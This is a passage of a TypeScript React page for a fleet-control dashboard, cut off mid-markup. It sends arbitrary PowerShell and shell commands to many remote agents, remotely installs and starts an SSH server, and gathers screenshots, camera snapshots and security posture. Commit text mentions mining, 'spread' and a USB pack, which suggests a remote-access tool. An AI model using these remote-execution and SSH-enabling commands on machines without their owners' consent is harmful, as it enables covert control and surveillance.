Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Dashboard ambient layer, comrade presence, Mission Deck and War Room, Emberwake supply chain, spread/docs publishing, fleet policy and modules API, CI docker mining, and refreshed USB pack.
1985 lines
90 KiB
TypeScript
1985 lines
90 KiB
TypeScript
import { useState, useRef, useEffect, useCallback, useMemo } from 'react';
|
||
import { useWebSocket } from '../hooks/useWebSocket';
|
||
import { api } from '../api/client';
|
||
import type { Agent, AgentService } from '../types';
|
||
import NeonCard from '../components/NeonCard/NeonCard';
|
||
import LatencyBadge from '../components/Fleet/LatencyBadge';
|
||
import CreateGroupModal from '../components/Fleet/CreateGroupModal';
|
||
import FleetGroupsStrip from '../components/Fleet/FleetGroupsStrip';
|
||
import { formatHashrate } from '../help/fleetFilters';
|
||
import { primaryGroupForAgent } from '../help/fleetGroups';
|
||
import { useFleetGroups } from '../hooks/useFleetGroups';
|
||
import { useMatrixRain } from '../context/MatrixRainContext';
|
||
import { desktopPathHint, pushFileToAgentDesktop } from '../help/desktopPush';
|
||
import { parseFullSysCheckMessage, type FullSysCheckReport } from '../types/syscheck';
|
||
import FullSysCheckPanel from '../components/Fleet/FullSysCheckPanel';
|
||
import FileManager from '../components/Fleet/FileManager';
|
||
import RemoteDirBrowser from '../components/Fleet/RemoteDirBrowser';
|
||
import ProtocolTunnelPanel from '../components/Fleet/ProtocolTunnelPanel';
|
||
import CrucibleExpandedOps from '../components/Fleet/CrucibleExpandedOps';
|
||
import FleetHeatMiniMap from '../components/Fleet/FleetHeatMiniMap';
|
||
import AlsoHere from '../components/Presence/AlsoHere';
|
||
import '../components/Fleet/FullSysCheckPanel.css';
|
||
import '../components/Fleet/ProtocolTunnelPanel.css';
|
||
import './CruciblePage.css';
|
||
|
||
// ── Types ──────────────────────────────────────────────────────────────────
|
||
|
||
type ShellType = 'powershell' | 'exec' | 'sh';
|
||
|
||
interface TermLine {
|
||
id: string;
|
||
agentId: string;
|
||
agentName: string;
|
||
isCmd: boolean;
|
||
text: string;
|
||
ts: Date;
|
||
success?: boolean;
|
||
// Whether this agent was in the active selection when the command was dispatched
|
||
targeted?: boolean;
|
||
// Structured data for rich terminal renderers
|
||
richData?: RichTermData;
|
||
}
|
||
|
||
// ── Rich terminal data types ────────────────────────────────────────────────
|
||
|
||
interface RichListenPort {
|
||
port: number;
|
||
addr: string;
|
||
proto: string;
|
||
process?: string;
|
||
pid?: number;
|
||
}
|
||
|
||
interface RichListenPorts {
|
||
type: 'listen_ports';
|
||
ports: RichListenPort[];
|
||
count: number;
|
||
}
|
||
|
||
interface RichPatchStatus {
|
||
type: 'patch_status';
|
||
pending_updates?: number;
|
||
last_patch?: string;
|
||
last_patch_days?: number;
|
||
reboot_pending?: boolean;
|
||
}
|
||
|
||
interface RichPostureSummary {
|
||
type: 'posture';
|
||
posture_score?: number;
|
||
defender_enabled?: boolean;
|
||
defender_rtp?: boolean;
|
||
av_products?: string[];
|
||
firewall_domain?: boolean;
|
||
firewall_private?: boolean;
|
||
firewall_public?: boolean;
|
||
ssh_listening?: boolean;
|
||
agent_elevated?: boolean;
|
||
last_patch_days?: number;
|
||
pending_updates?: number;
|
||
reboot_pending?: boolean;
|
||
services?: Array<{ name: string; display_name?: string; status: string; start_type: string }>;
|
||
}
|
||
|
||
interface RichScreenshot {
|
||
type: 'screenshot';
|
||
b64: string;
|
||
}
|
||
|
||
interface RichFullSysCheck {
|
||
type: 'full_sys_check';
|
||
report: FullSysCheckReport;
|
||
}
|
||
|
||
type RichTermData = RichListenPorts | RichPatchStatus | RichPostureSummary | RichScreenshot | RichFullSysCheck;
|
||
|
||
// ── Helpers ────────────────────────────────────────────────────────────────
|
||
|
||
const AGENT_COLORS = [
|
||
'#00f5ff', '#39ff14', '#ff2da6', '#b24bf3',
|
||
'#ffb020', '#ff6b35', '#00d4aa', '#f72585',
|
||
'#7209b7', '#3a86ff', '#06d6a0', '#ffd60a',
|
||
];
|
||
|
||
export function agentColor(agentId: string, allIds: string[], groupColor?: string): string {
|
||
if (groupColor) return groupColor;
|
||
const idx = allIds.indexOf(agentId);
|
||
return AGENT_COLORS[idx % AGENT_COLORS.length] ?? '#00f5ff';
|
||
}
|
||
|
||
export function sshBadge(agent: Agent) {
|
||
if (agent.ssh_available === true) return { label: 'SSH ON', cls: 'ssh-on' };
|
||
if (agent.ssh_available === false) return { label: 'SSH OFF', cls: 'ssh-off' };
|
||
return { label: 'SSH ?', cls: 'ssh-unk' };
|
||
}
|
||
|
||
export function postureBadge(score?: number) {
|
||
if (score === undefined) return { label: 'POSTURE ?', cls: 'posture-unk' };
|
||
if (score >= 80) return { label: `POSTURE ${score}`, cls: 'posture-good' };
|
||
if (score >= 40) return { label: `POSTURE ${score}`, cls: 'posture-warn' };
|
||
return { label: `POSTURE ${score}`, cls: 'posture-bad' };
|
||
}
|
||
|
||
export function patchLabel(days?: number) {
|
||
if (days === undefined) return null;
|
||
return { label: `PATCH ${days}d`, cls: days <= 30 ? 'patch-ok' : 'patch-stale' };
|
||
}
|
||
|
||
export function portsBadge(count?: number): { label: string; cls: string } | null {
|
||
if (count === undefined) return null;
|
||
return { label: `PORTS ${count}`, cls: count > 20 ? 'ports-many' : 'ports-ok' };
|
||
}
|
||
|
||
export function postureTooltip(agent: Agent): string {
|
||
const lines: string[] = [];
|
||
const yn = (v?: boolean) => v === true ? '✓' : v === false ? '✗' : '?';
|
||
const na = (v: unknown) => v !== undefined && v !== null ? String(v) : '?';
|
||
|
||
lines.push(`Defender: ${yn(agent.defender_enabled)} RTP: ${yn(agent.defender_rtp)}`);
|
||
if (agent.av_products?.length) lines.push(`AV: ${agent.av_products.join(', ')}`);
|
||
lines.push(`FW Domain:${yn(agent.firewall_domain)} Private:${yn(agent.firewall_private)} Public:${yn(agent.firewall_public)}`);
|
||
lines.push(`SSH: ${yn(agent.ssh_available)} Elevated: ${yn(agent.agent_elevated)}`);
|
||
if (agent.listen_port_count !== undefined) lines.push(`TCP listeners: ${agent.listen_port_count} (run listen_ports for full list)`);
|
||
lines.push('──────────────────────');
|
||
|
||
// Patch exposure
|
||
if (agent.last_patch) lines.push(`Last patch: ${agent.last_patch} (${na(agent.last_patch_days)}d ago)`);
|
||
else if (agent.last_patch_days !== undefined) lines.push(`Last patch: ${agent.last_patch_days}d ago`);
|
||
if (agent.pending_updates !== undefined) {
|
||
const u = agent.pending_updates;
|
||
lines.push(`Pending updates: ${u < 0 ? 'unknown' : u === 0 ? 'none ✓' : `${u} ⚠`}`);
|
||
}
|
||
if (agent.reboot_pending !== undefined) {
|
||
lines.push(`Reboot required: ${agent.reboot_pending ? 'YES ⚠' : 'no ✓'}`);
|
||
}
|
||
// DNS config
|
||
if (agent.dns_servers?.length) {
|
||
lines.push('──────────────────────');
|
||
lines.push(`DNS (T1016): ${agent.dns_servers.join(', ')}`);
|
||
if (agent.dns_search_domains?.length) lines.push(`Search: ${agent.dns_search_domains.join(', ')}`);
|
||
if (agent.dns_drifted) lines.push('⚠ DNS changed since last heartbeat!');
|
||
}
|
||
|
||
// Resource pressure
|
||
const tempLabel = agent.gpu_temp_c !== undefined ? `GPU ${agent.gpu_temp_c}°C` : agent.cpu_temp_c !== undefined ? `CPU ${agent.cpu_temp_c}°C` : null;
|
||
if (tempLabel || agent.disk_free_pct !== undefined || agent.cpu_throttle !== undefined) {
|
||
lines.push('──────────────────────');
|
||
if (tempLabel) lines.push(`Temp: ${tempLabel}${agent.cpu_throttle ? ' THROTTLED' : ''}`);
|
||
if (agent.disk_free_pct !== undefined) {
|
||
lines.push(`Disk: ${agent.disk_free_gb?.toFixed(1) ?? '?'} GB free (${agent.disk_free_pct}% of ${agent.disk_total_gb?.toFixed(0) ?? '?'} GB)`);
|
||
}
|
||
if (agent.cpu_freq_mhz && agent.cpu_max_mhz) {
|
||
lines.push(`CPU freq: ${agent.cpu_freq_mhz} / ${agent.cpu_max_mhz} MHz`);
|
||
}
|
||
if (agent.gpu_usage_pct !== undefined) lines.push(`GPU util: ${agent.gpu_usage_pct}%`);
|
||
}
|
||
|
||
if (agent.services?.length) {
|
||
lines.push('──────────────────────');
|
||
lines.push('Services (T1007):');
|
||
for (const svc of agent.services) {
|
||
const icon = svc.status === 'running' ? '●' : svc.status === 'stopped' ? '○' : '—';
|
||
const st = svc.start_type !== 'unknown' ? ` [${svc.start_type}]` : '';
|
||
lines.push(` ${icon} ${svc.display_name ?? svc.name}${st}`);
|
||
}
|
||
}
|
||
return lines.join('\n');
|
||
}
|
||
|
||
export function pendingBadge(agent: Agent): { label: string; cls: string } | null {
|
||
const u = agent.pending_updates;
|
||
if (u === undefined) return null;
|
||
if (u < 0) return { label: 'UPD ?', cls: 'upd-unk' };
|
||
if (u === 0) return { label: 'UP TO DATE', cls: 'upd-ok' };
|
||
if (u <= 5) return { label: `${u} UPD`, cls: 'upd-warn' };
|
||
return { label: `${u} UPD`, cls: 'upd-bad' };
|
||
}
|
||
|
||
function rebootBadge(agent: Agent): { label: string; cls: string } | null {
|
||
if (agent.reboot_pending === undefined) return null;
|
||
if (agent.reboot_pending) return { label: 'REBOOT!', cls: 'rb-pending' };
|
||
return null;
|
||
}
|
||
|
||
// ── Resource pressure badges ───────────────────────────────────────────────
|
||
|
||
export function thermalBadge(agent: Agent): { label: string; cls: string } | null {
|
||
const t = agent.gpu_temp_c ?? agent.cpu_temp_c;
|
||
if (t === undefined) return null;
|
||
if (t > 80) return { label: `${t}°`, cls: 'therm-hot' };
|
||
if (t > 65) return { label: `${t}°`, cls: 'therm-warm' };
|
||
return null; // cool enough — no badge clutter
|
||
}
|
||
|
||
function diskBadge(agent: Agent): { label: string; cls: string } | null {
|
||
const pct = agent.disk_free_pct;
|
||
if (pct === undefined) return null;
|
||
if (pct < 5) return { label: `DISK ${pct}%`, cls: 'disk-crit' };
|
||
if (pct < 15) return { label: `DISK ${pct}%`, cls: 'disk-warn' };
|
||
return null; // plenty of space — no badge
|
||
}
|
||
|
||
function throttleBadge(agent: Agent): { label: string; cls: string } | null {
|
||
if (!agent.cpu_throttle) return null;
|
||
const pct = agent.cpu_freq_mhz && agent.cpu_max_mhz
|
||
? Math.round(agent.cpu_freq_mhz / agent.cpu_max_mhz * 100)
|
||
: null;
|
||
const label = pct !== null ? `THRTTL ${pct}%` : 'THRTTL';
|
||
return { label, cls: 'therm-warm' };
|
||
}
|
||
|
||
// ── DNS helpers (T1016) ────────────────────────────────────────────────────
|
||
|
||
function dnsBadge(agent: Agent): { label: string; cls: string } | null {
|
||
if (agent.dns_drifted) return { label: 'DNS DRIFT', cls: 'dns-drift' };
|
||
return null;
|
||
}
|
||
|
||
// ── Service helpers (T1007) ────────────────────────────────────────────────
|
||
|
||
// Human-readable label for well-known service names
|
||
const SVC_LABELS: Record<string, string> = {
|
||
sshd: 'SSH',
|
||
ssh: 'SSH',
|
||
'openssh ssh server': 'SSH',
|
||
cloudflared: 'CF Tunnel',
|
||
wuauserv: 'WU',
|
||
windefend: 'Defender',
|
||
ufw: 'UFW',
|
||
fail2ban: 'Fail2Ban',
|
||
};
|
||
|
||
function svcLabel(svc: AgentService): string {
|
||
return SVC_LABELS[svc.name.toLowerCase()] ?? svc.display_name ?? svc.name;
|
||
}
|
||
|
||
function svcDot(status: string): string {
|
||
if (status === 'running') return '●';
|
||
if (status === 'stopped') return '○';
|
||
return '—';
|
||
}
|
||
|
||
function svcDotClass(status: string): string {
|
||
if (status === 'running') return 'svc-run';
|
||
if (status === 'stopped') return 'svc-stop';
|
||
return 'svc-unk';
|
||
}
|
||
|
||
// Only surface services that are interesting to show (skip self-service clutter)
|
||
const IMPORTANT_SVCS = new Set(['sshd', 'ssh', 'openssh ssh server', 'cloudflared', 'wuauserv', 'windefend']);
|
||
function importantServices(svcs: AgentService[]): AgentService[] {
|
||
return svcs.filter(s => IMPORTANT_SVCS.has(s.name.toLowerCase()) || s.status === 'running');
|
||
}
|
||
|
||
function platformIcon(platform?: string): string {
|
||
if (!platform) return '⬡';
|
||
const p = platform.toLowerCase();
|
||
if (p.includes('win')) return '⊞';
|
||
if (p.includes('linux')) return '🐧';
|
||
if (p.includes('darwin')) return '';
|
||
return '⬡';
|
||
}
|
||
|
||
let _lineId = 0;
|
||
function mkId() { return `tl-${++_lineId}`; }
|
||
|
||
// ── Wake SSH commands ──────────────────────────────────────────────────────
|
||
|
||
const WAKE_SSH_PS = `
|
||
$ErrorActionPreference='SilentlyContinue'
|
||
$cap=Get-WindowsCapability -Online -Name OpenSSH.Server~~~~* 2>$null
|
||
if ($cap -and $cap.State -ne 'Installed'){Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0}
|
||
Set-Service -Name sshd -StartupType Automatic
|
||
Start-Service sshd
|
||
$ip=(Get-NetIPAddress -AddressFamily IPv4|Where{$_.InterfaceAlias -notlike '*Loopback*'}|Select -First 1).IPAddress
|
||
"SSH_WAKE_OK ip=$ip port=22"
|
||
`.trim();
|
||
|
||
const PROBE_SSH_PS = `
|
||
$s=Get-Service sshd -ErrorAction SilentlyContinue
|
||
if($s -and $s.Status -eq 'Running'){'SSH_PROBE:ONLINE'}else{'SSH_PROBE:OFFLINE'}
|
||
`.trim();
|
||
|
||
const PROBE_SSH_SH = `ss -tlnp 2>/dev/null | grep -q ':22' && echo SSH_PROBE:ONLINE || echo SSH_PROBE:OFFLINE`;
|
||
|
||
// ── Component ──────────────────────────────────────────────────────────────
|
||
|
||
export default function CruciblePage() {
|
||
const { agents, commandResults } = useWebSocket();
|
||
const { setCrucibleFocus } = useMatrixRain();
|
||
|
||
// Selection
|
||
const [selectedIds, setSelectedIds] = useState<Set<string>>(new Set());
|
||
const [showGroupModal, setShowGroupModal] = useState(false);
|
||
const { groups, addGroup, removeGroup } = useFleetGroups();
|
||
|
||
// Terminal
|
||
const [termLines, setTermLines] = useState<TermLine[]>([]);
|
||
const [cmd, setCmd] = useState('');
|
||
const [shellType, setShellType] = useState<ShellType>('powershell');
|
||
const [busy, setBusy] = useState(false);
|
||
const termEndRef = useRef<HTMLDivElement>(null);
|
||
const cmdRef = useRef<HTMLInputElement>(null);
|
||
const lastSeqRef = useRef(0);
|
||
|
||
// Command history
|
||
const [cmdHistory, setCmdHistory] = useState<string[]>([]);
|
||
const [histIdx, setHistIdx] = useState(-1);
|
||
|
||
// SUPP Seek Mode
|
||
const [seekPath, setSeekPath] = useState('');
|
||
const [seekStem, setSeekStem] = useState('4K Enhance');
|
||
const [seekWin, setSeekWin] = useState(true);
|
||
const [seekMac, setSeekMac] = useState(true);
|
||
|
||
// File ops state
|
||
const [uploadPath, setUploadPath] = useState('');
|
||
const [downloadPath, setDownloadPath] = useState('');
|
||
const [uploadFileRef] = useState(() => ({ current: null as HTMLInputElement | null }));
|
||
|
||
// Tunnel URL state
|
||
const [tunnelURL, setTunnelURL] = useState('');
|
||
const [tunnelStatusMsg, setTunnelStatusMsg] = useState('');
|
||
|
||
// SSH / posture overrides (from on-demand probes)
|
||
const [sshOverride, setSshOverride] = useState<Record<string, boolean>>({});
|
||
const [postureOverride, setPostureOverride] = useState<Record<string, { score: number; patchDays?: number }>>({});
|
||
|
||
const allIds = useMemo(() => agents.map((a) => a.id), [agents]);
|
||
const selectedAgents = useMemo(
|
||
() => agents.filter((a) => selectedIds.has(a.id)),
|
||
[agents, selectedIds]
|
||
);
|
||
|
||
const online = (a: Agent) => a.status === 'online';
|
||
|
||
const fmCommandResults = useMemo(
|
||
() =>
|
||
commandResults
|
||
?.filter((r) => r.agent_id && r.action != null)
|
||
.map((r) => ({
|
||
agentId: r.agent_id as string,
|
||
action: r.action as string,
|
||
success: !!r.success,
|
||
message: r.message ?? '',
|
||
})) ?? [],
|
||
[commandResults]
|
||
);
|
||
|
||
const singleSelectedAgent = selectedAgents.length === 1 ? selectedAgents[0] : null;
|
||
|
||
const encryptTargets = useMemo(
|
||
() => selectedAgents.filter(online).map((a) => ({ id: a.id, name: a.name })),
|
||
[selectedAgents]
|
||
);
|
||
|
||
const browseAgent = singleSelectedAgent ?? selectedAgents.find(online) ?? null;
|
||
|
||
const appendTerminalLine = useCallback((text: string, isCmd = false) => {
|
||
setTermLines((prev) => [
|
||
...prev,
|
||
{
|
||
id: mkId(),
|
||
agentId: 'local',
|
||
agentName: 'YOU',
|
||
isCmd,
|
||
text,
|
||
ts: new Date(),
|
||
targeted: true,
|
||
},
|
||
].slice(-2000));
|
||
}, []);
|
||
|
||
/** One online target selected — sidebar matrix switches to gold forge-style rain. */
|
||
const crucibleTargetReady =
|
||
selectedAgents.filter(online).length === 1 && selectedIds.size === 1;
|
||
|
||
useEffect(() => {
|
||
setCrucibleFocus(crucibleTargetReady);
|
||
return () => setCrucibleFocus(false);
|
||
}, [crucibleTargetReady, setCrucibleFocus]);
|
||
|
||
// Prune selectedIds when agents are removed (e.g. after roster delete).
|
||
useEffect(() => {
|
||
const liveIds = new Set(agents.map((a) => a.id));
|
||
setSelectedIds((prev) => {
|
||
const pruned = new Set([...prev].filter((id) => liveIds.has(id)));
|
||
return pruned.size === prev.size ? prev : pruned;
|
||
});
|
||
}, [agents]);
|
||
|
||
// ── Auto-scroll terminal ───────────────────────────────────────────────
|
||
|
||
useEffect(() => {
|
||
termEndRef.current?.scrollIntoView({ behavior: 'smooth' });
|
||
}, [termLines]);
|
||
|
||
// ── Process incoming command_result messages ───────────────────────────
|
||
|
||
useEffect(() => {
|
||
if (!commandResults || commandResults.length === 0) return;
|
||
const newEntries = commandResults.filter((r) => r._seq > lastSeqRef.current);
|
||
if (newEntries.length === 0) return;
|
||
lastSeqRef.current = newEntries[newEntries.length - 1]._seq;
|
||
|
||
const lines: TermLine[] = [];
|
||
for (const r of newEntries) {
|
||
const aid = r.agent_id;
|
||
if (!aid) continue;
|
||
|
||
const msg = r.message ?? '';
|
||
|
||
if (r.action === 'tunnel_status' && r.success && msg) {
|
||
if (selectedIds.size === 1 && selectedIds.has(aid)) {
|
||
setTunnelStatusMsg(msg);
|
||
}
|
||
}
|
||
|
||
// ── SSH badge updates ───────────────────────────────────────────────
|
||
if (msg.includes('SSH_PROBE:ONLINE')) {
|
||
setSshOverride((prev) => ({ ...prev, [aid]: true }));
|
||
} else if (msg.includes('SSH_PROBE:OFFLINE')) {
|
||
setSshOverride((prev) => ({ ...prev, [aid]: false }));
|
||
}
|
||
|
||
// ── Parse structured JSON for known actions ────────────────────────
|
||
let richData: RichTermData | undefined;
|
||
|
||
// Screenshot: result is a raw base64 PNG string (no JSON wrapper)
|
||
if (
|
||
(r.action === 'screenshot' || r.action === 'camera_snapshot') &&
|
||
r.success &&
|
||
msg.length > 200 &&
|
||
/^[A-Za-z0-9+/]+=*$/.test(msg.trim())
|
||
) {
|
||
richData = { type: 'screenshot', b64: msg.trim() };
|
||
}
|
||
|
||
const jsonStart = msg.indexOf('{');
|
||
|
||
if (jsonStart >= 0) {
|
||
try {
|
||
const parsed = JSON.parse(msg.slice(jsonStart));
|
||
|
||
if (r.action === 'listen_ports' && Array.isArray(parsed.ports)) {
|
||
richData = { type: 'listen_ports', ports: parsed.ports, count: parsed.count ?? parsed.ports.length };
|
||
} else if (r.action === 'patch_status') {
|
||
richData = { type: 'patch_status', ...parsed };
|
||
} else if (r.action === 'full_sys_check' && parsed.generated_at) {
|
||
richData = { type: 'full_sys_check', report: parsed as FullSysCheckReport };
|
||
} else if (r.action === 'posture' && typeof parsed.posture_score === 'number') {
|
||
richData = { type: 'posture', ...parsed };
|
||
// Update badge state
|
||
setPostureOverride((prev) => ({
|
||
...prev,
|
||
[aid]: { score: parsed.posture_score, patchDays: parsed.last_patch_days },
|
||
}));
|
||
if (parsed.ssh_listening === true) setSshOverride((prev) => ({ ...prev, [aid]: true }));
|
||
if (parsed.ssh_listening === false) setSshOverride((prev) => ({ ...prev, [aid]: false }));
|
||
} else {
|
||
// Generic JSON with posture fields (legacy path)
|
||
if (typeof parsed.posture_score === 'number') {
|
||
setPostureOverride((prev) => ({
|
||
...prev,
|
||
[aid]: { score: parsed.posture_score, patchDays: parsed.last_patch_days },
|
||
}));
|
||
}
|
||
if (parsed.ssh_listening === true) setSshOverride((prev) => ({ ...prev, [aid]: true }));
|
||
if (parsed.ssh_listening === false) setSshOverride((prev) => ({ ...prev, [aid]: false }));
|
||
}
|
||
} catch { /* malformed JSON — fall through to plain text */ }
|
||
}
|
||
|
||
const agent = agents.find((a) => a.id === aid);
|
||
const name = agent?.name ?? aid.slice(0, 8);
|
||
|
||
const targeted = selectedIds.size === 0 || selectedIds.has(aid);
|
||
if (richData) {
|
||
lines.push({
|
||
id: mkId(), agentId: aid, agentName: name,
|
||
isCmd: false, text: '', ts: new Date(),
|
||
success: r.success, richData, targeted,
|
||
});
|
||
} else {
|
||
const msgLines = msg.split('\n').filter(Boolean);
|
||
for (const line of msgLines) {
|
||
lines.push({
|
||
id: mkId(), agentId: aid, agentName: name,
|
||
isCmd: false, text: line, ts: new Date(), success: r.success, targeted,
|
||
});
|
||
}
|
||
}
|
||
}
|
||
if (lines.length > 0) {
|
||
setTermLines((prev) => [...prev, ...lines].slice(-2000));
|
||
}
|
||
// eslint-disable-next-line react-hooks/exhaustive-deps
|
||
}, [commandResults]);
|
||
|
||
// ── Selection helpers ──────────────────────────────────────────────────
|
||
|
||
const toggle = (id: string) =>
|
||
setSelectedIds((prev) => {
|
||
const next = new Set(prev);
|
||
if (next.has(id)) next.delete(id); else next.add(id);
|
||
return next;
|
||
});
|
||
|
||
const selectAgent = (id: string) => setSelectedIds(new Set([id]));
|
||
|
||
const selectAll = () => setSelectedIds(new Set(agents.filter(online).map((a) => a.id)));
|
||
const clearSel = () => setSelectedIds(new Set());
|
||
|
||
const onlineAgentIds = useMemo(
|
||
() => new Set(agents.filter((a) => a.status === 'online').map((a) => a.id)),
|
||
[agents]
|
||
);
|
||
|
||
const activateGroup = (g: { agentIds: string[] }) => setSelectedIds(new Set(g.agentIds));
|
||
|
||
// ── Dispatch command ───────────────────────────────────────────────────
|
||
|
||
const dispatch = useCallback(async (command: string, shell: ShellType, targets?: Agent[]) => {
|
||
const tgts = targets ?? selectedAgents.filter(online);
|
||
if (tgts.length === 0 || !command.trim()) return;
|
||
|
||
setBusy(true);
|
||
// Echo command to terminal
|
||
const echoLines: TermLine[] = tgts.map((a) => ({
|
||
id: mkId(),
|
||
agentId: a.id,
|
||
agentName: a.name,
|
||
isCmd: true,
|
||
text: command,
|
||
ts: new Date(),
|
||
}));
|
||
setTermLines((prev) => [...prev, ...echoLines].slice(-2000));
|
||
setCmdHistory((h) => [command, ...h].slice(0, 50));
|
||
setHistIdx(-1);
|
||
|
||
const action = shell === 'powershell' ? 'powershell'
|
||
: shell === 'sh' ? 'exec'
|
||
: 'exec';
|
||
|
||
await Promise.all(
|
||
tgts.map(async (a) => {
|
||
try {
|
||
const res = await api.sendAgentCommand(a.id, action, { command });
|
||
if (res.success === false) {
|
||
setTermLines((prev) => [
|
||
...prev,
|
||
{
|
||
id: mkId(),
|
||
agentId: a.id,
|
||
agentName: a.name,
|
||
isCmd: false,
|
||
text: `[ERROR] ${res.error ?? 'command rejected'}`,
|
||
ts: new Date(),
|
||
success: false,
|
||
},
|
||
]);
|
||
}
|
||
} catch (err) {
|
||
setTermLines((prev) => [
|
||
...prev,
|
||
{
|
||
id: mkId(),
|
||
agentId: a.id,
|
||
agentName: a.name,
|
||
isCmd: false,
|
||
text: `[ERROR] ${err instanceof Error ? err.message : String(err)}`,
|
||
ts: new Date(),
|
||
success: false,
|
||
},
|
||
]);
|
||
}
|
||
})
|
||
);
|
||
setBusy(false);
|
||
cmdRef.current?.focus();
|
||
}, [selectedAgents]);
|
||
|
||
const sendCmd = () => {
|
||
dispatch(cmd, shellType);
|
||
setCmd('');
|
||
};
|
||
|
||
const probeSSH = (targets?: Agent[]) => {
|
||
const tgts = targets ?? selectedAgents.filter(online);
|
||
for (const a of tgts) {
|
||
const isWin = a.platform?.toLowerCase().includes('win') ?? true;
|
||
const probeCmd = isWin ? PROBE_SSH_PS : PROBE_SSH_SH;
|
||
const shell: ShellType = isWin ? 'powershell' : 'sh';
|
||
dispatch(probeCmd, shell, [a]);
|
||
}
|
||
};
|
||
|
||
const wakeSSH = (targets?: Agent[]) => {
|
||
const tgts = targets ?? selectedAgents.filter(online);
|
||
for (const a of tgts) {
|
||
const isWin = a.platform?.toLowerCase().includes('win') ?? true;
|
||
if (isWin) {
|
||
dispatch(WAKE_SSH_PS, 'powershell', [a]);
|
||
} else {
|
||
dispatch('which sshd && systemctl start sshd 2>/dev/null || service ssh start 2>/dev/null; echo SSH_WAKE_OK', 'sh', [a]);
|
||
}
|
||
}
|
||
};
|
||
|
||
const probePosture = (targets?: Agent[]) => {
|
||
const tgts = targets ?? selectedAgents.filter(online);
|
||
if (tgts.length === 0) { alert('No online agents selected.'); return; }
|
||
Promise.all(
|
||
tgts.map((a) =>
|
||
api.sendAgentCommand(a.id, 'posture').catch((err) => {
|
||
setTermLines((prev) => [
|
||
...prev,
|
||
{
|
||
id: mkId(), agentId: a.id, agentName: a.name, isCmd: false,
|
||
text: `[ERROR] posture probe: ${err instanceof Error ? err.message : String(err)}`,
|
||
ts: new Date(), success: false, targeted: selectedIds.has(a.id) || selectedIds.size === 0,
|
||
},
|
||
]);
|
||
})
|
||
)
|
||
);
|
||
};
|
||
|
||
// Fires posture + listen_ports + patch_status in parallel.
|
||
// When agents are selected, targets only selection. Otherwise targets all online.
|
||
const scanSelected = (targets?: Agent[]) => {
|
||
const tgts = targets ?? (selectedAgents.filter(online).length > 0
|
||
? selectedAgents.filter(online)
|
||
: agents.filter(online));
|
||
if (tgts.length === 0) { alert('No online agents available.'); return; }
|
||
const cmds = ['posture', 'listen_ports', 'patch_status'] as const;
|
||
for (const a of tgts) {
|
||
for (const cmd of cmds) {
|
||
api.sendAgentCommand(a.id, cmd).catch((err) => {
|
||
setTermLines((prev) => [
|
||
...prev,
|
||
{
|
||
id: mkId(), agentId: a.id, agentName: a.name, isCmd: false,
|
||
text: `[ERROR] ${cmd}: ${err instanceof Error ? err.message : String(err)}`,
|
||
ts: new Date(), success: false, targeted: selectedIds.has(a.id) || selectedIds.size === 0,
|
||
},
|
||
]);
|
||
});
|
||
}
|
||
}
|
||
};
|
||
|
||
// SUPP Seek — launch recursive batch file-seeding on selected agents.
|
||
const launchSeek = () => {
|
||
const tgts = selectedAgents.filter(online);
|
||
if (tgts.length === 0) { alert('Select at least one online node to seed from.'); return; }
|
||
if (!seekPath.trim()) { alert('Enter a root path to scan (e.g. D:\\ or /Volumes/Movies).'); return; }
|
||
const flag = seekWin && seekMac ? 'all' : seekWin ? 'win' : 'mac';
|
||
for (const a of tgts) {
|
||
api.sendAgentCommand(a.id, 'supp_seek', {
|
||
path: seekPath.trim(),
|
||
command: flag,
|
||
data: seekStem.trim() || '4K Enhance',
|
||
}).catch((err) => {
|
||
setTermLines((prev) => [
|
||
...prev,
|
||
{
|
||
id: mkId(), agentId: a.id, agentName: a.name, isCmd: false,
|
||
text: `[ERROR] supp_seek: ${err instanceof Error ? err.message : String(err)}`,
|
||
ts: new Date(), success: false, targeted: true,
|
||
},
|
||
]);
|
||
});
|
||
}
|
||
setTermLines((prev) => [
|
||
...prev,
|
||
{
|
||
id: mkId(), agentId: 'local', agentName: 'YOU',
|
||
isCmd: true,
|
||
text: `SUPP SEEK → ${seekPath.trim()} [${flag.toUpperCase()}] stem="${seekStem || '4K Enhance'}" on ${tgts.length} node(s)`,
|
||
ts: new Date(),
|
||
},
|
||
]);
|
||
};
|
||
|
||
// Focused agent — when exactly one is selected show its details prominently.
|
||
const focusedAgent = selectedAgents.length === 1 ? selectedAgents[0] : null;
|
||
|
||
const handleKey = (e: React.KeyboardEvent<HTMLInputElement>) => {
|
||
if (e.key === 'Enter') { sendCmd(); return; }
|
||
if (e.key === 'ArrowUp') {
|
||
e.preventDefault();
|
||
const next = Math.min(histIdx + 1, cmdHistory.length - 1);
|
||
setHistIdx(next);
|
||
setCmd(cmdHistory[next] ?? '');
|
||
}
|
||
if (e.key === 'ArrowDown') {
|
||
e.preventDefault();
|
||
const next = Math.max(histIdx - 1, -1);
|
||
setHistIdx(next);
|
||
setCmd(next < 0 ? '' : cmdHistory[next] ?? '');
|
||
}
|
||
};
|
||
|
||
// ── Effective SSH status ───────────────────────────────────────────────
|
||
|
||
const sshStatus = (a: Agent) => {
|
||
const override = sshOverride[a.id];
|
||
if (override !== undefined) return { label: override ? 'SSH ON' : 'SSH OFF', cls: override ? 'ssh-on' : 'ssh-off' };
|
||
return sshBadge({ ...a });
|
||
};
|
||
|
||
const postureStatus = (a: Agent) => {
|
||
const o = postureOverride[a.id];
|
||
const score = o?.score ?? a.posture_score;
|
||
const patchDays = o?.patchDays ?? a.last_patch_days;
|
||
return {
|
||
...postureBadge(score),
|
||
patch: patchLabel(patchDays),
|
||
ports: portsBadge(a.listen_port_count),
|
||
};
|
||
};
|
||
|
||
// ── Rich terminal renderers ────────────────────────────────────────────
|
||
|
||
const RichListenPortsTable = ({ d }: { d: RichListenPorts }) => (
|
||
<div className="rich-block rich-ports">
|
||
<div className="rich-header">
|
||
<span className="rich-label">LISTEN PORTS</span>
|
||
<span className="rich-count">{d.count} listener{d.count !== 1 ? 's' : ''}</span>
|
||
</div>
|
||
{d.ports.length === 0 ? (
|
||
<div className="rich-empty">No listeners found</div>
|
||
) : (
|
||
<table className="rich-table">
|
||
<thead>
|
||
<tr>
|
||
<th>PORT</th>
|
||
<th>ADDR</th>
|
||
<th>PROTO</th>
|
||
<th>PROCESS</th>
|
||
<th>PID</th>
|
||
</tr>
|
||
</thead>
|
||
<tbody>
|
||
{d.ports.map((p, i) => (
|
||
